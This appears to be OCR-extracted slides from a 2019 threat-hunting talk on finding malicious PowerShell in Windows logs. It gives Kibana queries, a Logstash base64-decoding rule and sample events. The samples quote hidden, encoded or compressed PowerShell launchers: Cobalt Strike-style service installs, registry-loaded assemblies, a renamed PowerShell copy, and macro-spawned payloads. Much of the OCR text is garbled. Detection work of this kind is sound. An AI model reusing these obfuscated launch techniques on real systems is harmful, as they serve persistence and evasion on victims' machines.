“\\wmiprvse.exe" "\\powerpnt.exe" "\\excel.exe" "\\msaccess.exe" "\\mspub.exe" "\\visio.exe" "\\outlook.exe" "\\amigo.exe"
"\\chrome.exe" "\\firefox.exe" "\\iexplore.exe" "\\microsoftedgecp.exe" "MicrosoftEdgeSH.exe" "\\microsoftedge.exe"
“\\browser.exe" "\\vivaldi.exe" "\\safari.exe" "\\sqlagent.exe" "\\sqlserver.exe" "\\sqlservr.exe" "\\w3wp.exe" "\\httpd.exe"
"\\nginx.exe" *tomcat* "\\php-cgi.exe" "\\jbosssvc.exe") AND (winlog.event_data.CommandLine:(*powershell* *pwsh*) OR
winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6")

nmn nn mn mnn

winlog.event_id winlog.event_data.Parentimage winlog.event_data.Description
winlog.event_data.CommandLine

C:\Program Files\internet "C:\Users\Public\FlashPlayerInstaller.exe" Windows PowerShell
explorer\iexplore.exe

C:\Windows\System32\servi powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((gp 'HKCU:\Software\C Windows PowerShell
ces.exe lasses\UBZZXDJZAOGD') .b64encAssembly)); [CMD_exec.Class1]::RunCMD()"

C:\Program Files\Microsof "C:\Windows\system32\cmd.exe" /c powershell Windows Command Processo

t SQL Server\MSSQL14.SQLE iex([System.Text.Encoding]: :ASCII.GetString([System.Convert]::FromBase64String( 'R2VOLVByb2N1c3M7R2VOLVN1c r
XPRESS\MSSQL\Binn\sqlserv  nZpY2U=')))
r.exe

C:\xampp\apache\bin\httpd cmd.exe /c "powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-Item Windows Command Processo
.exe Property 'HKCU:\Software\Classes\UBZZXDJZAOGD').b64encAssembly)); [CMD_exec.Class1]::RunCMD()"" r

C:\Program Files\Microsof CMD.EXE /C powershell -encodedcommand RwB1AHQALQBQAHIAbwBjAGUAcwBzADsSARWB1AHQALQBTAGUAcgB2AGkAYWB1AA== Windows Command Processo
t Office\Office15\EXCEL.E r
XE




PowerShell Scripts Installed as Services

General Details Event Properties - Event 7045, Service Control Manager

Process Create: General  Details
RuleMame:
UtcTime: 2019-06-03 22:58:53.705 - - X
ProcessGuid: {fc146444-a62d-5¢f5-0000-00100f43ed01) i service was installed in the system. ~
Fr;oaceslsi:dl; S;J'Z \G o Service Name: ckgRIQOyMNfPweszC

ge: C\Windows\System32\cmd.exe S iy o L : :
FileVersion: 10.0.17134.1 (WinBuild.160101,0800) S_emce File I‘_Jame: COMSPECS: /b fc start /b /min powe_rsh;ll.exe -nop -w hidden -noni -c
“if([IntPtr]::Size -eq 4){ Sb="powershell.exe' jelsef Sb=Senviwindir+ "\ syswowbd
WWindowsPowerShellwl.0hpowershell.exe'); Ss=New-Object
System.Diagnostics.ProcessStartinfo; 5s.FileMame=5b; $s. Arguments="-noni -nop -w hidden -c
&([scriptblock]::create((Mew-Object System.|0.5treamReader(Mew-Object

System.|0.Compression.GzipStream(([New-Object System.|O0.MemoryStreamd,

Description: Windows Command Processor

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

CommandLine: CYWindows\system32\emd.exe /b /c start /b /min powershell.exe -nop -w
hidden -noni -c "if([IntPtr]::5ize -eq 4){5b="powershell.exe’' }else{ Sb=Senviwindir+"\syswowbd i
WWindowsPowerShellwl.0hpowershell.exe'}): Ss=MNew-Object [System.Convert]::FromBase64String

System.Diagnostics.ProcessStartinfo; $s.FileMame=S5b;5s.4 Event Properties - Event 13. Svemon SR e e e "1pJEq3eI3,.-'F_li89ux4'lqu%;,wBQI?_LHbsX
&([scriptblock]::create((New-Object System.|0.5treamRe = PEFEs Sy [380Xs9K5P1+wLUmF3d/2

Systemn.|0.Compression.GzipStream((Mew-Object Systen

[System.Convert]::FromBaseb45tring General Details “thHePBIRC?uF}(."EA\.rN C4e9514ULzDKx
(""Hds|AC+ mOVwCATVWEW+ bSBD+ nEisD6ivBCIOMbHDb| HInmLubELImMibLwVU4vHOSWREINa
- WkCoRDPKmEB4TEkwrlthRay MY EsVglig

Registry value set: A tEwelcCdyzKlbcllkQpBwihR+BMzD0i3Z5

RuleMame: reg_persistence_cmdline

EventType: SetValue

UtcTime: 2019-06-03 22:58:53.687

ProcessGuid: {fc146444-e8bb-5cf3-0000-001075b20000}

Processld: 616

Image: CA\Windows\system32\services.exe

TargetObject: HKLM\System CurrentControl5et\Services\gnsgaExE\ImagePath

Details: %% COMSPECS:% /b fc start /b /min powershell.exe -nop -w hidden -noni -c|'if
([IntPtr]::5ize -eq 4)}{ Sb="powershell.exe'lelsel 3b=Senv:windir+ syswowbdf WindowsF owerShell
‘wil.0hpowershell.exe'l:5s=MNew-Object System.Diagnostics.ProcessStartinfo; 5s.FileMame=5b;
Ss.Arguments="-noni -nop -w hidden -c &([scriptblock]::create((Mew-Object
System.|0.5treamReader(Mew-0bject System.|0.Compression.GzipStream((Mew-Object

vZ6dno0501+X2NVdadTI7TrAndvXDmB ¥




PowerShell Scripts Installed as Services
Cobalt lateral movement

computer_name

pc-8.evilcorp.co
m

pc-8.evilcorp.co
m

pc-5.evilcorp.co
m

KAJPzR{IKY 2

Win_EventID

7045

Win_ServiceFileName

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand JABzADOATgBlAHcALQBPAGIAagBlAGMAdA
AgAEKATWAUAEQAZQBtAG8AcgB5AFMAdJABYAGUAYQBtACgALABbAEMAbwBUAHYAZQBYAHQAXQA6ADOARgBYAG8AbQBCAGEACWB TADYANABTAHQA
cgBpAG4AZwAOACIASAAOAHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAVWB LADIALWBhAFMAQgBEAC8ARWB6ADCARgGBXAG8ACABrAF cAKwBVAF
0AdQBKAFIARQBpAHQAVABGAFEASQBCAGCcAdwBpAE@AQgBVAGBAcgBRAFkAaQASAGOAdwASAHAATAA3AEgQAVQBJIADEALWBhAD cAMWAVAGQAQQBT
AGKANQBKAEwWAMQBXAGwWAcCwAYAFIACABKADIAZABtAGQAKwBZADMAegB5AECAVgAYAGEASAAWAGOAQwWB rAE4AWQBWAECAVQBIAFYASABQAF0AOA
BKAEYAeAArAG4AMABVAFUAMgAWAEOARABWAEgAbgA1AFgAMABNAG4AQgBOAECAUgA2AEgAaQA3AGWATgA1AFgAegBqAEMAWABOAESATABNAHUA
agB2AG8AKwArAHAAVgBNADKANABOAEUASABXAFUAYwBQAHgASgBzAD cAdwBnAGBANAB6AGEAQgBVAEUAegBKAFMASWAVAEMAbwBSAGSACQBSAF

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand JABzADOATgBlAHcCALQBPAGIAagBlAGMAdA
AgAEKATWAUAEQAZQBtAG8AcgB5AFMAdABYAGUAYQBtACgALABbAEMAbwBUAHYAZQBYAHQAXQA6ADOARgBYAG8AbQBCAGEACwWB LADYANABTAHQA
cgBpAG4AZwAOACIASAAOAHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAVWB LADIALWBhAFMAQgBEAC8ARWB6ADCARgBXAG8BACABrAF cAKwBVAF
0AdQBKAFIARQBpAHQAVABGAFEASQBCAGCcAdwBpAE@AQgBVAG8AcgBRAFkAaQASAGOAdwASAHAATAA3ZAEgAVQBIADEALWBhAD cAMwAVAGgAQQBT
AGKANQBKAEwAMQBXAGwAcwAYAFIAcCABKADIAZABtAGQAKwBZADMAegB5AECAVgAYAGEASAAWAGOAQwB rAE4AWQBWAECAVQBIAFYASABQAF0AOA
BKAEYAeAArAG4AMABVAFUAMgAWAEOARABWAEgAbgA1AFgAMABNAG4AQgBOAECAUgA2AEgAaQA3AGWATgA1AFgAegBqAEMAWABOAEBATABNAHUA
agB2AG8AKwArAHAAVgBNAD KANABOAEUASABXAFUAYwBQAHgASgBzAD cAdwBnAGBANAB6AGEAQgBVAEUAegBKAFMASWAVAEMAbwBSAGSACQBSAF

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand JABzAD@OATgBLlAHcALQBPAGIAagB1AGMAdA
AgAEKATWAUAEQAZQBtAGBAcgB5AFMAdABYAGUAYQBtACgALABbAEMAbwBUAHYAZQBYAHQAXQAG6ADOARgBYAGBAbQBCAGEACwB LADYANABTAHQA
cgBpAG4AZwAOACIASAAOAHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMADEAVWB LADIALWBhAFMAQgBEAC8ARWB6ADCARgGBXAG8ACABrAF cAKwBVAF
0AdQBKAFIARQBpAHQAVABGAFEASQBCAGcAdwBpAE@AQgBVAGBAcgBRAFkAaQASAGOAdwASAHAATAA3AEgQAVQBIADEALWBhAD cAMWAVAGQAQQBT
AGKANQBKAEwWAMQBXAGwWAcCwWAYAFIACABKADIAZABtAGQAKwBZADMAegB5AECAVgAYAGEASAAWAGOAQwWB rAE4AWQBWAECAVQBIAFYASABQAF0AOA
BKAEYAeAArAG4AMABVAFUAMgAWAEOARABWAEgAbgA1AFgAMABNAG4AQgBOAECAUgA2AEgAaQA3AGWATgA1AFgAegBqAEMAWABOAESATABNAHUA
agB2AG8AKwArAHAAVgBNADkANABOAEUASABXAFUAYwBQAHgASgBzAD cAdwBnAGBANAB6AGEAQgBVAEUAegBKAFMASWAVAEMAbwBSAGSACQBSAF




PowerShell Scripts Installed as Services. Let's huntit!

Search for:;

\

FF
2ONE
2019

 service installation event with powershell in command line;
* registry modification event, where value name is ImagePath and value data contains powershell,
« powershell process creation event with services.exe as parent.

((winlog.event_id:1 AND winlog.event_data.Parentimage:"\\services.exe") OR winlog.event_id:(7045 OR 4697)
OR (winlog.event_id:13 AND winlog.event_data. TargetObject:"\\ImagePath")) AND
winlog.event_data.CommandLine:(*powershell* *SyncAppvPublishingServer* *pwsh*) OR
(winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6")

winlog.provider_name

Microsoft-Windows-
Sysmon

winlog.provider_name

Microsoft-Windows-
Sysmon

winlog.provider_name

Service Control Ma
nager

winlog.event_id

1

winlog.event_id

winlog.event_id

7,045

winlog.event_data.Parentimage
winlog.event_data.CommandLine

C:\Windows\System32\servi  powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((gp
ces.exe "HKCU :\Software\Classes\UBZZXDJZAOGD') .b64encAssembly)); [CMD_exec.Class1]::RunCMD()"

winlog.event_data.TargetObject
winlog.event_data.CommandLine

HKLM\System\CurrentControl powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((g

Set\Services\WinUpdate\Ima p 'HKCU:\Software\Classes\UBZZXDJZAOGD').b64encAssembly)); [CMD_exec.Class1]::RunCMD()
gePath "

winlog.event_data.ServiceName
winlog.event_data.CommandLine

WinUpdate powershell -command "[Reflection.Assembly]::Load([System.Convert]::FromBase64String((gp
"HKCU:\Software\Classes\UBZZXDJZAOGD') .b64encAssembly)); [CMD_exec.Class1]::RunCMD()" 31




Renamed PowerShell

Adversaries can copy and rename PowerShell.exe binary in order to avoid detection,
based on substrings search

HYbrid Analysis https://www.hybrid-

analysis.com/sample/1f6e267a9815ef8 ﬁ .,#..

- , , 8476fb8bedcffe614bc342b89b4c80eae9 +
Tip: Click an analysed process below to view more details. 0e9aca’8ff1eab8?environmentld=100 .

~
Analysed 2 processes in total (System Resource Monitor).

@ crnd.exe cmd /c ""'C:\gpupdate.bat" " (PID: 2656)

&3 ekrn.exe Fnop -w hidden -encodedcommand JABzADOATgBIAHcALQBPAGIAagBIAGMAJAAgAEKATWAUAEOAZQBtAG8AcgB5AFMAJABYAGU
AYQBtACgALABbAEMAwauAHYAZQByAHOAXOAéADoARgByAGBAbQBCAGEAchlADYANABTAHOAchpAG4AZonACIASAAOAHMASQBBA

AR DA AR DA ACNCAL A A A A L AL A A RASCD 0 0 ()

All Strings (357) Interesting (92) cmd.exe (1) ekrn.exe (1) ekrn.exe:2732 (329) gpupdate.bat.bin (4) screen_0.png (15)
@echo off

cd %systemroot%)\system32&& cd windowspower*&& cd v*&& copy powershell.exe %temp%)\ekrn.exe&& %temp%)\ekrn.exe Frop—w-hidden—ene

» (3 » 1) 1) [ ) 1) .
Ad K A/QBTAGSAcCoBOAFMAQABVA AYQBIACOALABDAEMADWBUAHYAZQBVAHQAXOALADOARIBVAGLY

All Strings (357) Interesting (92) cmd.exe (1) ekrn.exe (1) ekrn.exe:2732 (329) gpupdate.bat.bin (4) screen_0.png (15) screen_1.png (7)

xml version="1.0' encoding='utf-8' standalone="yes'?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" > <description>PowerShell</description>
nfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </seq



https://www.hybrid-analysis.com/sample/1f6e267a9815ef88476fb8bedcffe614bc342b89b4c80eae90e9aca78ff1eab8?environmentId=100

Renamed PowerShell. Let's hunt it!

Sysmon EventID 1 Windows PowerShell EventID 400

General Details General Details

Process Create: Engine state is changed from Mone to Available.
RuleMame:

UtcTime: 2019-06-09 09:08:46.699 Details:

ProcessGuid: {c/31fdc5-ccBe-5cfc-0000-00100f9bb201} NewEngineState=Available
Processld: 6784 PrevicusEngineState=MNone
Image: C:\Users\Public\ekrn.exe
|FileVersion: 10.0.14393.206 (rs1_release.160915-0644) SequenceMumber=13
Description: Windows PowerShell
Product: Microsoft® Windows® Operating System HostMame=ConsoleHost

Company: Microsoft Corporation HostVersion=5.1.14393.1884

CommandLine: ekrn.exe Hostld=85095352-a4fa-447f-81a2-17a1890067bd
CurrentDirectory: C:A\Users\Publich, HostApplication=ekrn.exe

User: SHOCKWAVE\admin EngineVersion=5.1.14303.1884

LogonGuid: {c731fdc5-8cd@-5cfb-0000-0020c2ad0500} Runspaceld=4dbced72-b043-49f4-aaba-a33f2095b371
Logeonld: (x3ADC2 Pipelineld=

Terminal5essionld: 1
IntegrityLevel: Medium




Renamed PowerShell. Let's hunt it! OFF

RONE

2019

Search for inconsistence between image name and VERSIONINFO:

winlog.provider_name:"Microsoft-Windows-Sysmon" AND winlog.event_id:1 AND -winlog.event_data.Image:("\\powershell.exe"
“\\pwsh.exe") AND (winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6")

winlog.provider_name winlog.event_id winlog.event_data.lmage winlog.event_data.Product winlog.event_data.Description
winlog.task

Microsoft-Windows- 1 Process Create (ru C:\Users\Public\Musi PowerShell Core 6

Sysmon le: ProcessCreate) c\setup.exe

Microsoft-Windows- 1 Process Create (ru C:\Users\Public\ekrn Microsofte Windows® Ope Windows PowerShell
Sysmon le: ProcessCreate) .exe rating System

Search for unusual PowerShell host process:

winlog.event_id:400 AND winlog.event_data.PSPHostName:ConsoleHost AND -winlog.event_data.CommandLine:*powershell*

winlog.provider_name winlog.event_id winlog.event_data.PSPHostName winlog.event_data.CommandLine winlog.event_data.PSHostVersion

PowerShell ConsoleHost ekrn.exe 5.1.14393.1884




Base64-encoded commands. -EncodedCommand %ﬁ

2019

C:\Windows\system32>powershell -h -EncodedCommand ] ) ]
Accepts a base-64-encoded string version of a command. Use this parameter

to submit commands to Windows PowerShell that require complex quotation

PowerShell[.exe] [-PSConsoleFile <file» | -Version <version:] marks or curly braces.

[-NoLogo] [-MNoExit] [-5ta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML1}]
[-WindowStyle <style>»]|[-EncodedCommand <Base64EncodedCommand: ] # To use the -EncodedCommand parameter:
[-ConfigurationName <strings | $command = 'dir "c:\program files" °
[-File <filePath» <args>»] [-ExecutionPolicy <ExecutionPolicy>] $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
[-Command { - | <script-block> [-args <arg-array>] $encodedCommand = [Convert]::ToBaseb45tring($bytes)
| <string> [<CommandParameters>] } ] powershell.exe -encodedCommand $encodedCommand

Hybrid Analysis

https://www.hybrid-
analysis.com/sample/f80fe757882da2d668ec1367d6f51a0
Tip: Click an analysed process below to view more details. bf6ba8ef226769e998e520963c3cSac3a?environmentld=100

-

Analysed 2 processes in total (System Resource Monitor).

W] WINWORD.EXE /n "C:\\JK_Powershell_Download.doc" (PID: 3388)
&g powershell.exe -NoP -Nonl -W Hidden -Exec Bypass|-EncodedCommand|CgBmAHUAbgBjAHQAaQBvAG4AIABJAG4AdgBvAGsAZQAtAEwWAbwBNAGKA
bgBQAHIAbwBtAHAAJAB7AA0AIAAgACAAIAAKAGMACgBIAGQAIAA9ACAAJABIAGBAcwBOAC4AdQBpAC4AUABYAGBAbQBWAHQARgBVAHIAQwBYAGU
AZABIAG4AdABpAGEAbAAOACIAVWBPpAG4AZABVAHCAcWwAgAFMAZQBJAHUAcgBpAHQAeQAIACWAIAAIAFAAbABIAGEAcWBIACAAZQBUAHQAZQBYACA



https://www.hybrid-analysis.com/sample/f80fe757882da2d668ec1367d6f51a0bf6ba8ef226769e998e520963c3c5ac3a?environmentId=100

Base64-encoded commands. —-EncodedCommand. OFF

RONE

What do you need to know about it?

powershell -e RwBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==

powershell -ec RWBIAHQALQBQAHIAbwWBjJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==

powershell -en RwBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==

powershell -enc RwWBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==

powershell -enco RwWBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==

powershell -encod RWBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==
powershell -encode RWBIAHQALQBQAHIAbwWBjJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==
powershell -encoded RWBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==
powershell -encodedc RWBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==
powershell -encodedco RWBIAHQALQBQAHIAbWBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==
powershell -encodedcom RwBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==
powershell -encodedcomm RwBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==
powershell -encodedcomma RwBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==
powershell -encodedcomman RwBIAHQALQBQAHIAbwBjAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYWBIAA==
powershell -encodedcommand RwBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==



Base64-encoded commands. -EncodedCommand.
Let's hunt it!

Search for -e[ncodedcommand] in PowerShell command line:

NN
OFF
RONE

2019

(winlog.event_data.CommandLine:(*powershell* *pwsh*) OR winlog.event_data.Description:"Windows PowerShell" OR
winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND
(winlog.event_data.CommandLine:("* -enc *" "*-enco" "* -encod" "* -encode" "* -encoded" "* -encodedc" "* -encodedco" "* -

encodedcom” "* -encodedcomm” "* -encodedcomma” "* -encodedcomman" "* -encodedcommand”) OR

winlog.event_data.CommandLine.keyword./.*([p|P][o|O][w|Wi[e|El[rIR]I[s[SI[h|H][elEI[ILI[IL]I[pIPI[w|W][s|SI[hIH])(\.[e|E][x|X][e|E]

\"\.[elE][xIX][elEIN")*] |

winlog.event_id

J*+\-(e|E|ec|Ec|eC|EC|en|eN|En[EN)[ | ]+.%/)

winlog.event_data.CommandLine

powershell -encodedcommand RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUAcgB2AGKAYWB1AA==

"C:\Program Files\PowerShell\6\pwsh.exe" -EN RwB1AHQALQBQAHIAbwBjAGUAcwBzADsARWB1AHQALQBTAGUAcgB2AGKAYWB1AA==

"C:\Program Files\PowerShell\6\pwsh.exe" -e RwB1AHQALQBQAHIAbwBjAGUAcwBzADsSARWB1AHQALQBTAGUAcgB2AGKAYWB1lAA==

Q Q

"C:\Program Files\PowerShell\6\pwsh.exe" -encOd RwB1AHQALQBQAHIAbwBjAGUAcwBzADsARWB1AHQALQBTAGUAcgB2AGKAYWB1lAA==
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ENcoDedCom RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUACgB2AGKAYWBlAA==
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENcoDedCom RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUAcgB2AGKAYWB1AA==
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENcoDedCo RwB1AHQALQBQAHIAbwBjAGUAcwBzADSARWB1AHQALQBTAGUAcgB2AGKAYWBLAA==
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EC RwB1AHQALQBQAHIAbwBjAGUAcwBzADsARWB1AHQALQBTAGUAcgB2AGKAYWB1AA==

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EC RwB1AHQALQBQAHIAbwBjAGUAcwBzADsSARWB1AHQALQBTAGUAcgB2AGKAYWB1lAA==

winlog.event_data.ScriptBlockText

Get-Process

Get-Process

Get-Process

Get-Process

Get-Process

Get-Process

Get-Process

Get-Process

Get-Process

;Get-Service

;Get-Service

;Get-Service

;Get-Service

;Get-Service

;Get-Service

;Get-Service

;Get-Service

;Get-Service




EncodedCommand and Script Block logging OFF

RONE

2019

winlog.provider_name winlog.event_id winlog.event_data.Processid winlog.event_data.ScriptBlockText
winlog.event_data.CommandLine

Microsoft-Windows- 1 powershell -encodedco RwB1AHQALQBQAHIAbwBjA ||Get-Process;Get-Service

Sysmon GUAcwBzADsARwWB1AHQALQBTAGUAcgB2AGkAYwB1AA== Decoded by Logstash

winlog.provider_name winlog.event_id winlog.process.pid winlog.event_data.ScriptBlockText

Microsoft-Windows-PowerShell 4,104 Get-Process;Get-Service

grok {

match => { "[winlog][event_data][CommandLine]" =>
'(IpIP][olO][wIW][elE][rIR][sISI[hH][elEINLIILII([pIPIwIWI[sISIhIH]) (\.[elE]lxX][e|EIN"I\. [e|E]IxIX][e|E]\") *\s+\-
(elE)(\w{1,13})\s+(")?%{NOTSPACE:[@metadata][EncodedPS]}(")?(\s+.*)?S" }

}
if [@metadata][EncodedPS] {
ruby {
code =>"
require "base64"
event.set("[winlog][event_data][ScriptBlockText]", Base64.decode64(event.get("[@metadata][EncodedPS]")).delete!("\0"))
}



Base64-encoded commands. FromBase64String OFF

RONE
2019
FromBase64String method converts the specified string, which encodes binary data as
base-64 digits, to an equivalent 8-bit unsigned integer array. In combination with
Invoke-Expression cmdlet it can be used to execute base64-encoded PowerShell code.
SText = ‘Get-Process;Get-Service’
SBytes = [System.Text.Encoding]::Unicode.GetBytes(SText)
SEncodedText =[Convert]::ToBase64String(SBytes)
SEncodedText =>  RwBIAHQALQBQAHIAbwBJAGUAcwBzADSARWBIAHQALQBTAGUACGB2AGKAYWBIAA==

powershell -command l

"JEX([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(RwWBIAHQALQBQAHIAbwBIA
GUAcwBzADSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==)))”

powershell -command

“IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('(R2VOLVByb2NIc3M7R2VOLVNI
cnZpY2U=)))”

39



FromBase64String + Compression T3

RONE

2019
powershell -command "Ss=New-Object

10.MemoryStream(,[Convert]::FromBase64String('H4sIAKx46 VWAA3NPLAENKMpPTiOutnYHsoNTi8oyk1
O5AA7DSEUYAAAA’)); IEX (New-Object 10.StreamReader(New-Object
10.Compression.GzipStream(Ss,[l0.Compression.CompressionMode]::Decompress))).ReadToEnd()"

powershell —c command “Ss=New-Object
10.MemoryStream(,[Convert]::FromBase64String('c08t0Q00yk90LS62dgeyqg10LyjKTUWE=")); IEX (New-
Object 10.StreamReader(New-Object
10.Compression.DeflateStream(Ss,[l0.Compression.CompressionMode]::Decompress))).ReadToEnd()”

Hybrid Analysis

https://www.reverse.it/sample/10f70840eb3
Taa2aa22d83a363993b1c66604b08bd94956

Tip: Click an analysed process below to view more details. 74532921 ccbcTb8c6/?environmentld=100

-

Analysed 2 processes in total.

= @3 WINWORD.EXE /n "C:\CHOCOLATE_CHIP_COOKIE_RECIPE.docm" (PID: 1336)
] powershell.exe -NoE -Nop -Nonl -ExecutionPolicy Bypass -C "sal a New-Object; iex(a 10.StreamReader((a 10.Compression.DeflateStream([10.Me
moryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5)|DzuGce2+a3tXRegcP2S0Olm
sFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSI23MKzrVocNXdfeHU2Im/k8euuiV)RsZ1Ixdr5SUEwILWGOKRucFBBP74PABMWmMQSopCSVViSZWre6w7da2
uslKt8CézskiLP)c)yttRjgCIzehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+|BHjleTBQvWVMdDFY997NQKaMSzZ
urlXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[10.Compression.CompressionMode]::Decompress)),[ Text.Encoding]::ASCIl)).ReadToEnd()"



https://www.reverse.it/sample/10f70840eb31aa2aa22d83a363993b1c66604b08bd9495674532921ccbc1b8c6/?environmentId=100

Base64-encoded commands. X509Enrollment COM OFF

RONE

2019

By ProglD:

Powershell —-command “IEX

([System.Text.Encoding]::Unicode.GetString((New-Object -ComObject
X509Enroliment.CBinaryConverter).StringToVariantByteArray('RwBl

( Casey Smith o
@subTee

Challenge: Find me a novel way base64

encode/decode
AHQALQBQAHIAbwWBJAGUAcwBzADsSARWBIAHQALQBTAGUAcgB2AG
kAYWBIAA==',1)))” Hold My beer:
_ $x = New-Object -ComObject
By CLSID: X509Enrollment.CBinaryConverter
powershell [EX

([System.Text.Encoding]::Unicode.GetString(([activator]::Createlnstan tringToVariantByteArray('QmIvbSE=

ce([type]::GetTypeFromCLSID('884e2002-217d-11da-b2a4- -
000e7bbb2b09’))).StringToVariantByteArray('RwBIAHQALQBQAHIAb $x.VariantByteArrayToString($b, 1)
WBJAGUAcwBzADsSARWBIAHQALQBTAGUAcgB2AGKAYwWBIAA==',1)))

https://twitter.com/subTee/st
atus/1132068630537969664




FromBase64String / Compression / X509Enrollment N

FF

Let’s hunt It! YONE

Search for specific functions and objects names in PowerShell command lines and script blocks:

(winlog.event_data.CommandLine:(*powershell* *pwsh*) OR winlog.event_data.Description:"Windows PowerShell" OR
winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND
(winlog.event_data.CommandLine:(GzipStream* *Decompress* *Compression* *MemoryStream* *DeflateStream*
*FromBase64String* *ToBase64String*) OR winlog.event_data.CommandLine:(("*X509Enrollment.CBinaryConverter*" OR
"*884e€2002-217d-11da-b2a4-000e7bbb2b09*") AND *StringToVariantByteArray*))

winlog.provider_name winlog.event_id winlog.task
winlog.event_data.CommandLine

Microsoft-Windows- 13 Registry powershell iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwB1AHQALQBQAHIAbwBjAGUAcwB
Sysmon value set zADSARWB1AHQALQBTAGUAcgB2AGKAYWB1lAA=="')))

(rule: Re

gistryEve

nt)
PowerShell 400 Engine Li powershell -command iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('R2VOLVByb2N1lc3M7R2VeL

fecycle VNlcnZpY2U=")))

Microsoft-Windows- 1 Process C powershell -command "iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('R2VOLVByb2N1c3M7R2V
Sysmon reate (ru OLVNlcnZpY2U=')))"

le: Proce

ssCreate)
Service Control Ma 7,045 powershell -command "$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('c08t0QOoyk90LS62dgeyg10LyjKTUWE=")); @ @
nager (New-Object IO0.StreamReader(New-Object IO.Compression.DeflateStream(S$s, [IO.Compression.CompressionMode]: :Decompress))).Re

adToEnd() "



FromBase64String + Compression F
Let’s hunt It! ONE

Search for base64 gzipped payload in PowerShell command lines and script blocks
(H4sl -> 1f 8b 08, GZIP archive file):

winlog.event_data.ScriptBlockText.keyword:*H4sI* OR ((winlog.event_data.CommandLine:(*powershell* *pwsh¥*)
OR winlog.event_data.Description:"Windows PowerShell" OR winlog.event_data.Product:"PowerShell Core 6" OR
(winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND winlog.event_data.CommandLine:*H4sl*)

winlog.provider_name winlog.event_id
winlog.event_data.CommandLine

Microsoft-Windows- 4,698

powershell.exe $s=New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAKx46VwWAA3NPLAENKMpPTiOutnYHsoNTi80yk105AA7DSEUYAAAA')) ;IEX (New-0Ob
Security-Auditing

ject I0.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd()
